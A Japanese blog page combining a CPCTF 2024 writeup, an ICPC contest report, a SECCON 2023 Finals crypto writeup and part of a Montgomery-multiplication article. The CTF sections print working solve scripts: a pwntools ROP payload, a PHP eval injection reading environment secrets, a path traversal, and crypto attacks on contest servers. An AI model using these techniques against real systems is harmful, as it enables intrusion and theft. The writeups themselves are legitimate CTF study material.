CPCTF 2024 writeup

4/20～4/21に開催されたCPCTF 2024で優勝したのでwriteupを書く。二日目は応用情報の試験と被ってしまいほとんど触れなかったがなんとか一位を保ててよかった。
競プロもCTFも好きなので完全に私のためのコンテストである。楽しいのでもっとやってほしい。
Binary,Crypto,Forensics,Misc,Pwn,Shellは全完できたが、PPCとWebは一問残ってしまってちょっと残念。最後に解いた The sky's the limit 以外はヒントを開かなかったが、OSINTとかはもっと開いてもよかったかもしれない。
解けた問題は全部書きます。問題が多いので一問あたりは短め。目次から見たいとこだけ読んでください。


Binary

peeping - Newbie [79 solved]

一問くらいstringsやるだけがあるだろうと思ってstringsをしてみると、本当にフラグが出てくる。

Just reversing? - Easy [60 solved]

with open("just_reversing/flag_enc.txt", "rb") as f:
    b = f.read()
print("".join(reversed([chr(c % 16 * 16 + c // 16) for c in b])))

chall.cと同じことをすると戻る。

Number Guesser - Easy [52 solved]

IDAで読むと条件が書いてある。

bytes([49]) + int.to_bytes(875575095, 4, byteorder="little")

でパスワードがわかる。

Power down - Medium [12 solved]

IDAで読むと、power_down(n)は \left(\lfloor\sqrt{n}\rfloor^2 - n\right) 2^{32} + \lfloor\sqrt{n}\rfloor を返すことがわかる。比較先を探して復元すればOK。

a = ...
flag = ""
for v in a:
    a2 = v & 0xffff
    flag += chr(a2 * a2 - (v >> 32))
print(flag)

black box - Hard [9 solved]

気合でPythonで書き直してz3に投げつけると答えが得られた。

cubeA = ...
cubeB = ...
cmp = ...

from z3 import *
flag = [0] * 27
s = Solver()
xs = []
for i in range(27):
    x = BitVec(f"x_{i}", 32)
    xs.append(x)
    flag[i] = x
    s.add(x < 128)
    s.add(0 < x)
v3 = 0
v4 = 0
v23 = 0
v24 = 0
t = [0] * 27
for v22 in range(3):
    v5 = v24 + v23
    v6 = v4 + 27
    v7 = 0
    v8 = v4
    for i in range(0, 9, 3):
        v10 = v7
        for j in range(3):
            v12 = v3 + j
            v13 = v10
            v14 = v8
            v15 = 0
            for _ in range(3):
                v15 += cubeB[v13] * cubeA[v12] * flag[v14]
                v14 += 9
                v12 += 3
                v13 += 9
            t[v5 + j] = v15
            v10 += 1
        v5 += 3
        v8 += 3
        v6 += 3
        v7 += 3
    v23 += 9
    v3 += 9
    v4 += 1
cmp2 = [bytes_to_long(bytes(reversed(cmp[i:i+4]))) for i in range(0, len(cmp), 4)]
for i in range(0, 27):
    s.add(cmp2[i] == t[i])
r = s.check()
flag = ""
if r == sat:
    proof = s.model()
    for i in range(27):
        px = int(str(proof[xs[i]]))
        flag += chr(px)
print(flag)

Crypto

Substitution - Newbie [90 solved]

quipqiup - cryptoquip and cryptogram solver に投げつける。

RSA Trial - Easy [37 solved]

s = var("s")
print(solve(hint + 3 * n * s - s ** 3, s))

sagemathに投げつけて s:=p+q を求めて、解の公式から p,qを求める。

p = (s - isqrt(s * s - 4 * n)) // 2
q = n // p
phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
print(long_to_bytes(int(pow(c, d, n))))

AAAA - Medium [5 solved]

phi = (e-1) * pow(check, -1, e) % e + e * 2
d = pow(e, -1, phi)
print(long_to_bytes(pow(ct, d, n)))

切り捨て除算をしているが、 d * e \bmod \varphi = 1 なので \mathrm{check} = (d * e - 1) / \varphi である。
\bmod e を考えると \varphi = -\mathrm{check}^{-1} \bmod e であり、 n \sim e であることから何回か eを足せば真の \varphi が得られる。
全く使わなかった秘密鍵はなんだったんだろうと思ったら、これは非想定解だったらしい。

CES - Medium [2 solved]

面白かった。
パット見ではただのAESで二回のクエリじゃ何もできないだろと思ったが、よく睨むと sub_bytesはSBOXを使っておらず、ただの固定値の xor であることが分かる。平文の暗号文に対する寄与が線形なので、別の暗号文とxorして鍵の寄与を打ち消してからdecryptのsub_bytesとadd_round_key以外の部分を適用すると二つの平文のxorが復元できる。

def decrypt_empty(ciphertext):
    state = bytes2matrix(ciphertext)
    for i in range(N_ROUNDS - 1, -1, -1):
        inv_shift_rows(state)
        if i > 0:
            inv_mix_columns(state)
    plaintext = matrix2bytes(state)
    return plaintext

key = get_random_bytes(16)
pt = get_random_bytes(16)

pt2 = get_random_bytes(16)
ct = problem.encrypt(key, pt)
ct2 = problem.encrypt(key, pt2)
assert strxor(pt2, problem.decrypt_empty(strxor(ct, ct2))) == pt

二つ目の平文が何だったかはivと前のブロックからわかるので、ブロックを前からひとつずつ復元できる。

s = remote("ces.web.cpctf.space", 30008)
s.sendlineafter(b"your option: ", b"2")
print(s.recvline())
ct1 = eval(s.recvline()[len("Encrypted flag: "):-1])
iv1 = eval(s.recvline()[len("iv: "):-1])
print(ct1, iv1)
s.sendlineafter(b"your option: ", b"1")
s.sendlineafter(b": ", b"a" * len(ct1))
print(s.recvline())
ct2 = eval(s.recvline()[len("Encrypted message: "):-1])
iv2 = eval(s.recvline()[len("iv: "):-1])
def dec(c1, c2, p2):
    return strxor(p2, problem.decrypt_empty(strxor(c1, c2)))
flag = b""
for i in range(0, len(ct1), 16):
    c1 = ct1[i:i+16]
    c2 = ct2[i:i+16]
    p2 = strxor(b"a" * 16, iv2)
    p1 = strxor(dec(c1, c2, p2), iv1)
    flag += p1
    print(flag)
    iv1 = c1
    iv2 = c2

Forensics

Register - Easy [19 solved]

tshark -r ./register.pcapng -Y 'usb.capdata' -T fields -e usb.capdata > keyboards.txt
をしてcapdataを抜き出してきて、キー情報に変換するスクリプトを書いた。

with open("Register/keyboards.txt", "r") as f:
    for line in f.readlines():
        line = line.rstrip()
        shift = line.startswith("02")
        code = int(line[4:6], 16)
        second = int(line[6:8], 16)
        if code == 0 or second != 0:
            continue
        print(shift, codes[code][-2:])

white has much information - Easy [60 solved]

whitespaceだいすき！適当にインタプリタを出してきて実行するとフラグが出てくる。

which is true flag - Medium [30 solved]

一つだけ時刻が違い、それが正しいフラグになっている。

Misc

turning over - Easy [26 solved]

Blenderのファイルっぽい。Blenderをインストールするのがめんどくさいのでネットの適当なサイトで表示させるとフラグの輪郭が見えた。

Forbidden code 2 - Hard [7 solved]

https://www.reddit.com/user/myaomyaohit/
見つけたRedditを読む。Dont worry. These are perfectly legal.から違法素数あたりの話をしていそうだとあたりをつける。
p,q をlong_to_bytesするとどちらも\x1f\x8b\x08\x08で始まっていて、なんかありそうだと思い検索するとgzipのシグネチャらしい。11*8ビット右シフトしてgzipで解凍するとbrainfuckのコードが出てきた。実行するとフラグが手に入る。

Image encryption - Hard [1 - solved]

ヒントあり含めて 1 solved らしい　そんな

import requests

with open("image_encryption/out.png", "rb") as f:
    res = requests.post("https://imageencryption.calmground-80c6c76f.japaneast.azurecontainerapps.io/upload", files={"image": ("image2.png", f)})
    with open("image_encryption/res.zip", "wb") as g:
        g.write(res.content)

真っ白なファイルを送り付けるとファイルが二個帰ってくる。xorしてほしそうな見た目をしているのでxorしてみるとノイズの入った画像が返ってきた。

up_imgの寄与は(1,1,1)っぽいので適当に除く。それから与えられたコードからencの逆をするとimgが復元できる。パラメータは400通りしかないので全部試して人力でフラグが読めるのを探した。

from PIL import Image
import numpy as np

image_path1 = "image_encryption/flag_image.png"
image_path2 = "image_encryption/uploaded_image.png"
output_path = "image_encryption/xor_result.png"
image1 = Image.open(image_path1)
image2 = Image.open(image_path2)
width, height = image1.size
result_image = Image.new("RGB", (width, height))
for y in range(height):
    for x in range(width):
        pixel1 = image1.getpixel((x, y))
        pixel2 = image2.getpixel((x, y))
        xor_pixel = tuple(p1 ^ p2 for p1, p2 in zip(pixel1, pixel2))
        xor_pixel = tuple(p1 ^ p2 for p1, p2 in zip(xor_pixel, (1, 1, 1)))
        result_image.putpixel((x, y), xor_pixel)
result_image.save(output_path)

def dec(blank, m, height, width):
    blank = np.array(blank)
    img = np.zeros((height, width, 3))
    for h in range(height):
        for w in range(width):
            l=((m@np.array([h+1,w+1]).T).T)
            img[l[0]%height][l[1]%width]=blank[h][w]
    return Image.fromarray(img.astype(np.uint8))
for phi in range(1, 21):
    for ep in range(1, 21):
        m=np.array([[1,ep],[phi,ep*phi+1]])z
        dec(result_image, m, height, width).save(f"image_encryption/out/{phi}_{ep}.png")

OSINT

あんまり手を付ける時間がなかったのもあり5/10しか解けなかった。にしても多すぎませんか？

mokomoko - Newbie [97 solved]

画像検索すると答えが出てきた。

Doctor yellow - Easy [69 solved]

がんばって検索すると多摩川橋梁と出てきた。多摩川には橋がたくさんあって困るが、ビルと野球場が見えるところを探すと見つかった。

leaving - Easy [44 solved]

熱海行きの電車を調べると東海道本線っぽい。適当に東海道本線と新幹線の通っている駅を一つずつ検索していくと、浜松駅にそれっぽい柵があった。10:25に発車する電車もあるので正しそう。しかしこの電車の運行表を見ると13:04に熱海に着いている。逆方向に折り返しているだろうと思い13:04より後に熱海から出発している電車を見ると金谷駅にいて、これが正解。
東海道本線（東海）(熱海行)（浜松 10:25発）の運行表 - ジョルダン
東海道本線（東海）(豊橋行)（熱海 13:14発）の運行表 - ジョルダン

Forbidden Code 1 - Medium [28 solved]

epieosに投げるとGoogle Calendarが見つかり、ここからフラグの2/3がわかる。*1
他にRedditのアカウントがあり、bioに残りが書いてある。

Great view - Medium [50 solved]

画像検索すると蓮ノ空の聖地巡礼記事がでてきた。公式Twitterを見るとちょっとメンテした後23時半にサービス開始したことがわかる。

Pwn

Attack! Attack! Win! - Newbie [80 solved]

どうせ負数だろうと思いながら-1から順番に投げてみると-2でフラグが出てきた。

CPCT...... - Easy [61 solved]

どうせFSBだと思いながら適当に投げているとフラグが出てきた。

The sky's the limit - Easy [35 solved]

getsはnullバイトまでしか入力を読まないと思っていて詰まった。適当な位置にnullバイトを入れてからwinにROPすればよい。
一つ目のヒントを開いたが意味は特になかった。

from pwn import *

elf = ELF("chall")
s = remote("the_skys_the_limit.web.cpctf.space", 30007)
s.sendlineafter(b":", b"a" * 7 + b"\0" + b"a" * 16 + p64(ROP(elf).find_gadget(["ret"]).address) + p64(elf.functions["win"].address))
print(s.recvall())

PPC

About half - Newbie [92 solved]

a * 2 < b || b * 2 < a ? "No" : "Yes"
#974846 (Java21) No.2736 About half - yukicoder

Compound Word - Newbie [72 solved]

愚直にSetに入れる。
#974889 (Java21) No.2737 Compound Word - yukicoder

CPC To F - Easy [40 solved]

後ろから見てCPCTFかCPCTCPCを探せばよい。
#974884 (Java21) No.2738 CPC To F - yukicoder

Time is money - Easy [25 solved]

TX+C をコストとしてdijkstraする。
#975075 (Java21) No.2739 Time is money - yukicoder

Old Maid

p^{-1} を順にみて、自分と隣が未使用であれば使う　を繰り返せばよい。前後を隣接リストで管理する。
#975013 (Java21) No.2740 Old Maid - yukicoder

Balanced Choice - Easy [32 solved]

タイプごとにナップザックDPをして最後にマージする。
#975029 (Java21) No.2741 Balanced Choice - yukicoder

Car Flow - Medium [21 solved]

十分先では少ないほうの数が連続しなくなる。01を数えればよいので答えは \mathrm{min}(c_0,c_1)/n になる。
#975242 (Java21) No.2742 Car Flow - yukicoder

Twisted Lattice - Medium [8 solved]

x座標が2以上離れていれば y=1 まで行くのが最適。x座標の差が1以下の場合を最初に処理し、 y-x と y+x の最小値を持ちながら左右から順に舐めていけば最短距離がわかる。
#975318 (Java21) No.2743 Twisted Lattice - yukicoder

Power! or +1 - Medium [14 solved]

2n 以上は X \bmod n+n と同一視してよく、結局 2n 頂点のdijkstraになる。操作2は k<30 までしか見ないことにし、階乗の前計算をすると十分高速に動く。
#975910 (Java21) No.2744 Power! or +1 - yukicoder

String Swap Battle - Medium [12 solved]

K \gt 1 と仮定すると、負ける人が 1 を宣言した場合と 10^{100} を宣言した場合で答えが変わってしまってヤバいので、 K=1 なことがわかる。
それぞれ最適に1回swapして辞書順最小だった人に点をあげるとよい。*2
#975401 (Java21) No.2745 String Swap Battle - yukicoder

Permutation Adjacent Sum - Hard [9 solved]

寄与を考えると答えは \sum_{d=1}^{N-1} 2(n-1)!(N-d)d^K = 2(n-1)! \left(N\sum_{d=1}^{N-1} d^K - \sum_{d=1}^{N-1} d^{K+1}\right) になる。K乗和はラグランジュ補完、階乗は5000000ごとに埋め込みすると十分高速。
#975530 (Java21) No.2747 Permutation Adjacent Sum - yukicoder

Strange Clock - Hard [3 solved]

一致したタイミングの T3 の値を全探索する。仮想的に T12 みたいなものが存在するとして、 T3 の値と T4 の値から CRTで T12 の値を求めると、このタイマーも1秒ごとに1動くことと、 T12 - T6 \bmod 6^N の値が不変であることがわかる。よって、一致したタイミングの T3 の値がありうるものである条件は、 T12 - T6 \bmod 6^N の値が等しいものの中で、 T12 の値が前M秒間であるような一致するタイミングであるものが存在しないこと、と言い換えられる。

ただこれは \Theta(N3^N) で、定数倍高速化をがんばってもTLEする。隣接する T12 の値の差分を見ると数種類しかなかったので、 13 \leq N \leq 15 はそれを埋め込んでAC。
#976422 (C++23(draft)) No.2748 Strange Clock - yukicoder

Shell

netcat - Newbie [101 solved]

nc shell-netcat.web.cpctf.space 30010するとフラグが手に入る。チュートリアル。

veeeeeeery long text - Easy [66 solved]

grepを知っていますか？私は知っています。

Web

Typing game - Newbie [124 solved]

ソースコードに書いてある。

Let's buy some array - Easy [67 solved]

evalしてるのでヤバい。$_ENV['FLAG']をみればよい。

import requests
r = requests.post("https://lets-buy-some-array.web.cpctf.space/purchase.php", data={"quantity1": "$_ENV['FLAG'] . 1", "quantity2": 2, "quantity3": 3})
print(r.content.decode("utf-8"))

Read Novels - Easy [87 solved]

name=../flagでパストラバーサルができる。

*1:最近これを使ったwriteupを読んでいてよかった

*2:得点が N+1-K と勘違いしてclarを投げてしまった

The 2024 ICPC Asia Pacific Championship 参加記

2/29~3/3にベトナムで開催されたThe 2024 ICPC Asia Pacific Championshipにチーム GoodBye2023 で参加し26位だった。
他のチームメイトの参加記:
keymoon.hatenablog.com

メンバー

  • Yu：唯一の現役
  • shibh：文字列が得意
  • keymoon：CTFが得意

(以下敬称略)

事前準備

年末年始辺りから本格的な練習を始めた。全員が大学の近くに住んでいることからチーム練のために大学に集まりやすく、昼から5hバチャを走ってラーメンを食べて帰るみたいな生活を毎日のように送っていた。
練習でもできるだけ本番に近づけられるように、ライブラリを印刷する、問題文を印刷する、USキーボードを使う、WF OSを使うなどをしていた。主にkeymoonがこの辺の事前準備をめちゃくちゃ頑張ってくれていて*1、詳細はkeymoonの参加記を見るといろいろ書いてある。

Day0

ホテルに着いた時点で既に夜中の一時半とかだったので急いで風呂に入って寝た。全くベトナムの宿に期待していなかったが、思っていた何倍も綺麗でよかった。

Day1

プラクティスがあった。keymoonがプラクティスで確認することリストを用意していたが、スマホの持ち込みを禁止されて急遽コード写経タイムが始まった。ここで私が本番持ち込むライブラリの裏に書き込んでしまい、一枚目だけ予備のライブラリを使うことになってしまった *2
clarバトルの末、日本から持ってきた大量のお菓子を持参する権利を手に入れた。

開会式（UET推しが強かった）

Day2（コンテスト）

初動では私がCLionの設定とテンプレートの写経をして、他2人が前後から問題を読むことにしていた。
コンテスト開始前に風船の数を見て問題数が12問であることを確認。テンプレートの写経を終わらせて問題管理用シートを書いていると、正面の席にいたBocchi The Techが「13問ある！」と言っているのが聞こえてきて、慌ててMを書き足した。風船を数え間違えてたらしい。更にこの後shibhの問題文からM問題が抜けていることに気づき、運営に問題文を換えてもらう。

Hが解けそうと言われ渡される。0と1の多い方を選んで残せばよさそうだと思い実装。全部0/1にすると移動させる1/0を捨てる場所がなくて壊れることを指摘され、修正して提出するもWA。最初から0/1しか存在しない場合にも捨てる場所を用意してしまっていることに気づいたため修正しAC(0:22)。

次にJを渡されて考える。明らかに往復のどちらかは最短経路を使えばよい。帰りで新しく使う辺が1箇所以上存在するので、その辺を全探索すると解けることがわかる。実装も解法の説明も軽いと判断し、実装をshibhに押し付けてほかの問題を考えることにした。この後割とすぐ通してくれて3完(0:57)。

他の問題の概要をいくつか共有され、その中で一番解けそうな見た目をしていたEを考える。条件を満たさない行/列を消していくことを考えると、1回の操作で行と列をひとつずつ消すことはできそう。最後に行/列のどちらかが余った場合も2回の操作で2つずつ消していくことができ、これは明らかに操作回数の下界を達成しているので正当性がある。2つずつ消すと最後1箇所残ることに後から気づくが、これも適当にやると1回の操作で消すことができる。手で作った強めのケースが動いたので信じて投げるとAC(1:32)。

Gが実は愚直が通るという大胆予想を共有され、あってもおかしくないなと思い実装キューが空いたので実装してもらうもさすがにWA。

Cが解けているらしく実装してもらいますがWA。隣接の差分を見ると x+i=a_i \bmod 2^{b_i} みたいな条件になるらしい。 b_i の計算がバグっていたらしく直すも通らず。ここで自分もデバッグに参加して、60 1 みたいなケースで壊れていることに気づく。
色々試すと未定義動作を踏んでいたっぽい挙動をしており、int128に変えるとAC(2:29)。

Kの解法をshibhから共有される。 \mathrm{lca} を求めるパートと y を求めるパートの2つがあり、前半パートがBITを持ちながらDFSするとできるらしい。正しそうなので一緒に後半パートを考える。ある部分木からある部分木を抜いた部分の中で k'_i 番目に小さい頂点、みたいなものをクエリ毎に求める問題で、しばらく考えて並列二分探索で解けることに気づく。lower_boundのoff-by-oneや添字ミスでかなりバグらせた後、手元のケースが全て合い投げるもREが出る。
このあたりでshibhとkeymoonがGを解いており、PCを渡して実装してもらいAC(2:44)。
提出したKを印刷してしばらく眺めてもバグは見つからず、愚直解とランダムケース生成を書いたが、どれだけassertを追加しても落ちない。この時点で残り20分程度になっており通しきれるか怪しくなってきたので提出デバッグを開始。ひとつずつassertを減らすと、 \mathrm{lca} として x の親ではない値が出てきていることがわかった。そんなわけないだろ！

TLEが出ていてKと交互に書いていたFをkeymoonが通し(4:54)、コンテストが終了。

あとからホテルでKの最後の提出をCodeForcesのミラーコンテストに投げてみると、自分のコードが負の値を出力していた。そこでやっとすべてに気づき、#define int long longと書いて提出してみるとAC。
よく見ると入力の制約にも 1 \leq k_j \leq n^2 と書いてあるのに int で受け取っていた。そんなことある？重めの実装に気をとられて全く意識していませんでした……*3

Day3

ハロン湾に観光に行った。五時に起こすな！とか もっと近場に観光地ないの？とか思っていたが、行ってみるとそれなりに面白かった。

島がたくさん
Hang Luồn Cave。所々湧きつぶしが甘かった

Day4

ホテルの近くにラーメン街みたいなところがあり、そこで横浜家系ラーメンを食べた。普通に店員に日本語が通じていて面白かった。

まとめ

コンテスト結果としてかなり散々で、特にKのオーバーフローに気づけなかったのに関しては本当に反省すべき。Fを通してもらわなければ更に散々だったので助けられた。
偉い人の話だとWFボーダーギリギリで通るか通らないかという感じの順位なようで、期待しすぎずに待ちたい。
shibhが他大学の大学院に進学するため今のチームとしてはこれが最後ですが、私はまだ4回くらいチャンスがあるのでこれからも頑張ります。

Good Bye!

*1:ありがとう

*2:ごめん

*3:assertが落ちていたのに関しては依然謎

SECCON 2023 Finals writeup

TPCとしてSECCON 2023 Finalsに参加し、domestic 5位でした。writeupってヤツを書こうと思います。
全体的にかなり雰囲気で数式を用いているため、雰囲気でお読みください。

muck-a-mac

問題概要

ChaCha20-Poly1305によって暗号化された値を100回連続で復元するとフラグがもらえます。
それぞれの値は次のように生成されています

self.key = secrets.token_bytes(32)
self.nonce = secrets.token_bytes(12)
self.plaintext = b""
for i in range(4):
    self.plaintext += b"\x00"*13 + secrets.token_bytes(3)
self.aad = b""
for i in range(16):
    self.aad += bytes([random.choice(bytes(string.printable, 'ascii'))])


また、次の六種類のクエリを各一回ずつまで好きな順番で質問することができます。

def get_ciphertext(self, plaintext):
    ciphertext, _ = encrypt(self.key, self.aad, plaintext, self.nonce)
    return ciphertext
def default(self):
    _, mac = encrypt(self.key, self.aad, self.plaintext, self.nonce)
    return mac
def change_aad(self, aad):
    _, mac = encrypt(self.key, aad, self.plaintext, self.nonce)
    return mac
def xor_plaintext(self, target):
    _, mac = encrypt(self.key, self.aad, strxor(self.plaintext, target), self.nonce)
    return mac
def change_length(self,l,r):
    _, mac = encrypt(self.key, self.aad, self.plaintext[l:r], self.nonce)
    return mac

解法

コンテスト開始直後にすべての問題を流し読みした結果、この問題が一番競プロer向きに見えたので突撃しました。
とりあえずChaCha20-Poly1305について調べてみます。
https://tex2e.github.io/blog/crypto/chacha20poly1305

  • ChaCha20 で (R, S, K) を作る
  • R, S, \mathrm{ciphertext}, \mathrm{aad} に謎の処理をして (r, s, c) を作る
  • \mathrm{ciphertext} = \mathrm{xor}(K, \mathrm{plaintext})
  • \mathrm{mac} = (c_1 r^n + c_2 r^{n-1} + ... + c_{n-1} r^2 + c_n r) \bmod (2^{130}-5) + s

のようにして ciphertext と mac を生成しているらしいです。

key や nonce に関する情報は得られないので、ChaCha20パートは無視して (R, S, K) をただの乱数として扱うことにします。
また、cについては、aad が16ビットで plaintext が64ビットであることから、
c = (aad||01, ciphertext[0:16]||01, ciphertext[16:32]||01, ciphertext[32:48]||01, ciphertext[48:64]||01, len(aad)||len(ciphertext)||01)
のようになっています（ここで、a||b はバイト列の結合）

各クエリの使い方について考えます。

  • get_ciphertextに00..00を投げると ciphertext = xor(K, 00..00) = K から K が得られます。 K より有益な情報は特に得られないので最初にこれをしてよさそうです。
  • change_add に 00..00 を投げてdefaultで得られたmacと差分をとると \mathrm{aad} \cdot r^6が得られます。
  • change_lengthに[0,63]を投げるとcの後ろ2チャンクのみが変わるため、defaultで得られたmacと差分をとるとrについての二次式ができます。二次の係数は判明していませんが、変化するのは一バイトのみのため全探索すると256通りrの候補が得られることになります。

ここで、 \mathrm{aad} \cdot r^6 を用いてaadを復元することができます。間違ったrに対してaadがrintableな文字列になる確率は十分低いため、これによってrを特定することができます。
後はxor_plaintextを使ってうまくplaintextを特定します。plaintextの各チャンクが小さいためlattice attackがしたいです。
また、sが特定できていないので、defaultとの差分でうまくplaintextのみの多項式を作ります。
plaintextで0でない部分を1で埋めた次のようなバイト列をxor_plaintextに投げることを考えます。
00000000000000000000000000ffffff00000000000000000000000000ffffff00000000000000000000000000ffffff00000000000000000000000000ffffff
すると、差分 \mathrm{default} - \mathrm{xor\_plaintext} に対応する c'_2 は次のような値になっていると考えられます。（ c'_3 から c'_5 も同様）
c'_2 = K[0:16] \oplus \mathrm{plaintext}[0:16]-K[0:16] \oplus \mathrm{plaintext}[0:16] \oplus \mathrm{0xffffff}
これは上13ビットが相殺され 2^{24} 程度になるため、次のような格子を構成して LLL をすることによって復元できます。（係数はかなり適当です）

\begin{pmatrix} 2^{300}p & 0 & 0 & 0 & 0 & 0 \\ 2^{300}b & 2^{128} & 0 & 0 & 0 & 0 \\ 2^{300}r^5 & 0 & 2^{100} & 0 & 0 & 0 \\ 2^{300}r^4 & 0 & 0 & 2^{100} & 0 & 0 \\ 2^{300}r^3 & 0 & 0 & 0 & 2^{100} & 0 \\ 2^{300}r^2 & 0 & 0 & 0 & 0 & 2^{100} \\ \end{pmatrix}

（ここで、 b := (\mathrm{default} - \mathrm{xor\_plaintext})2^{-128} ）


また、c'_iが分かると、 \mathrm{0xffffff} \oplus a = \mathrm{0xffffff}-a であることから、
\mathrm{plaintext}[16i+13:16i+16] = (c'_i+\mathrm{0xffffff})/2 \oplus {K[16i+13:16i+16]}
と復元できます。
これでplaintextが復元できました。

順番に実装してみるとうまく動きます。（たまに失敗します。）
また、なぜかいろんなところで各値がほしい値より 2^{128} とかズレたりするようなので、強引にズレる分を探索してカバーしました。

すべて実装できた時点で一日目の競技が残り10分程度でした。
急いで実行したものの、数十ラウンドまでいったところで失敗してしまいます。最終的に91ラウンド目まで成功したところでサーバーが閉じてしまいました。
二日目、最初に実行して提出したもののFirst Bloodはとられてしまいました。かなしい…

コード

def b2i(b):
    return int.from_bytes(b, "little")

def solve(chal):
    key = chal.get_ciphertext(b"\0" * 64)
    print(f"{key = }")
    d_mac = chal.default()
    print(f"{d_mac = }")
    p = (1<<130) - 5
    cadd = chal.change_aad(b"\0" * 16)
    print(f"{cadd = }")
    hint = (b2i(d_mac) - b2i(cadd)) % p # aad * r^6
    print(f"{hint = }")
    h2 = chal.change_length(0, 63)
    h3 = b2i(d_mac) - b2i(h2)
    print(f"{h3 = }")

    crs = set()
    for i in range(1, 256):
        for k in range(-10, 10):
            aa = i << 120
            bb = 0x10000000000000000
            cc = -(h3+k*(1<<128))
            a1 = (-bb+pow(bb*bb-4*aa*cc, (p+1)//4, p))*pow(2*aa, -1, p)%p
            a2 = (-bb-pow(bb*bb-4*aa*cc, (p+1)//4, p))*pow(2*aa, -1, p)%p
            if (aa*a1*a1+bb*a1+cc)%p == 0:
                crs.add(a1)
            if (aa*a2*a2+bb*a2+cc)%p == 0:
                crs.add(a2)

    found = False
    bcr = None
    for cr1 in crs:
        for k in range(-10, 10):
            x = pow(cr1, -6, p) * (hint+k*0x100000000000000000000000000000000) % p
            if sum(ch in string.printable.encode() for ch in long_to_bytes(int(x))[1:]) >= 15:
                print(sum(ch in string.printable.encode() for ch in long_to_bytes(int(x))) >= 15, long_to_bytes(int(x)))
            if all(ch in string.printable.encode() for ch in long_to_bytes(int(x))):
                print(long_to_bytes(int(x)), hex(x))
                bcr = cr1
                found = True
    b = (b2i(d_mac) - b2i(chal.xor_plaintext(b"\0\0\0\0\0\0\0\0\0\0\0\0\0\xff\xff\xff" * 4))) % p
    ms = 1000
    bans = []

    def fix(x, i):
        v = (0xffffff-((x^^0xffffff)-x))//4
        if x > 0:
            return v ^^ b2i(key[i*16+13:i*16+16]) ^^ 0x800000
        else:
            return v ^^ b2i(key[i*16+13:i*16+16])

    for k in range(5):
        for kk in range(-5,5):
            nb = int(b)
            nb =nb-0x100000000000000000000000000000000*k-kk
            nb *= pow(0x100000000000000000000000000, -1, p)
            nb %= p
            M = Matrix([
                [2^300*int(p), 0, 0, 0, 0, 0],
                [2^300*int(nb), 2^128, 0, 0, 0, 0],
                [2^300*int(bcr**5%p), 0, 2^100, 0, 0, 0],
                [2^300*int(bcr**4%p), 0, 0, 2^100, 0, 0],
                [2^300*int(bcr**3%p), 0, 0, 0, 2^100, 0],
                [2^300*int(bcr**2%p), 0, 0, 0, 0, 2^100],
            ])
            M = M.LLL()
            for row in M:
                if row[0] != 0 or abs(row[1]) != 0x100000000000000000000000000000000:
                    continue
                ans = [row[2]//2^100, row[3]//2^100, row[4]//2^100, row[5]//2^100]
                siz = sum([int(ans[0]).bit_length(), int(ans[1]).bit_length(), int(ans[2]).bit_length(), int(ans[3]).bit_length()])
                ans2 = b""
                for i in range(4):
                    if row[1] == 0x100000000000000000000000000000000:
                        ans[i] *= -1
                    fv = int(fix(ans[i], i))
                    ans2 += b"\0" * 13 + int.to_bytes(fv, 3, "little")
                if ms > siz:
                    ms = siz
                    bans = ans2
    return bans

ss = remote("example.com", int(0))
for i in range(100):
    chal = Challenge()
    res = solve(chal)
    print(res)
    chal.answer(res)
print(ss.recvline())
print(ss.recvline())
print(ss.recvline())

まとめ

去年もKOSENセキュコン枠で参加したんですが、その時は最下位でした。それと比べると今年はかなり成長したのではないかなと思います。
来年はもうちょっとCryptoを解きたいです。がんばります。

128bit 整数型を使わない 64bit modint

Miller-Rabin素数判定法を使いたい時などに、64bit整数型でmodをとりたい場合があります。
128bit整数が使えない場合、 a \cdot b \bmod m を計算しようとすると、 a \cdot b を計算する時点でオーバーフローしてしまいうまく計算できません。
かといって、このために多倍長整数型を持ち出すと定数倍が悪くなってしまいます。
そこで、モンゴメリ乗算をうまくやることで解決します。

モンゴメリ乗算

モンゴメリ乗算自体についてはここでは深く書かないので、他の記事*1*2を参照してください。
モンゴメリ乗算に使う値をそれぞれ次のように定義します。
R = 2^{64}
R_2 = R^{2} \bmod N
N' = -N^{-1} \bmod R

R_2, N' はそれぞれ、繰り返し二倍法、ニュートン法で計算できます。
x のモンゴメリ表現を求める関数を \mathrm{mr}(x) とすると、
x \cdot y \bmod N は \mathrm{mr}(\mathrm{mr}(x \cdot R_2) \cdot y) と計算できます。
もちろんここでも x \cdot R_2 などを計算するタイミングでオーバーフローが発生する可能性があるため、代わりに x \cdot y のモンゴメリ表現を（ x \cdot y を陽に計算せずに）求める関数 \mathrm{mul\_mr}(x, y) を考え、 \mathrm{mul\_mr}(\mathrm{mul\_mr}(x, R_2), y) と計算することにします。

前準備

\mathrm{low}(x) := x\text{の下位64ビット}
\mathrm{high}(x) := x\text{の上位64ビット}
と定義します。

先にこれらを計算する方法について考えます。

\mathrm{low}(x) はオーバーフローを無視してxを計算すれば勝手に求まります。
また、 \mathrm{high}(x \cdot y) も、 x \cdot y を陽に求めず64bit整数のみを使って計算できます。
x = x_h \cdot 2^{32} + x_l, \quad y = y_h \cdot 2^{32} + y_l というように分解すると、
x y = x_h \cdot y_h \cdot 2^{64} + (x_h \cdot y_l + x_l \cdot y_h) \cdot 2^{32} + x_l \cdot y_l であることから、オーバーフローを避けて計算すると
\mathrm{high}(x \cdot y) = x_h \cdot y_h + (x_h \cdot y_l \gg 32) + (x_l \cdot y_h \gg 32) + ( (x_h \cdot y_l \And (2^{32}-1)) + (x_l \cdot y_h \And (2^{32}-1)) + (x_l \cdot y_l \gg 32) ) \gg 32 です。

ちなみに、Java 9 以降であれば Math.multiplyHigh(x, y) + (x >> 63 & y) + (y >> 63 & x)、
更に Java 18 以降であれば Math.unsignedMultiplyHigh(x, y) と書けます。

本題

さて、 x のモンゴメリ表現は (x + (x \cdot N' \bmod R) \cdot N) / R で求められますが、
R=2^{64} のとき、これは \mathrm{high}(x + \mathrm{low}(x \cdot N') \cdot N) と書けます。
各項の上位64ビットと下位64ビットからの繰り上がりを分けて考えると、
\mathrm{high}(x + \mathrm{low}(x \cdot N') \cdot N) = \mathrm{high}(x) + \mathrm{high}(\mathrm{low}(x \cdot N') \cdot N) + \mathrm{high}(\mathrm{low}(x) + \mathrm{low}(\mathrm{low}(x \cdot N') \cdot N)) です。
前二項は前の議論から求めることができます。
\mathrm{high}(\mathrm{low}(x) + \mathrm{low}(\mathrm{low}(x \cdot N') \cdot N)) について考えます。

N' \cdot N = -1 \bmod R であることを思い出すと、
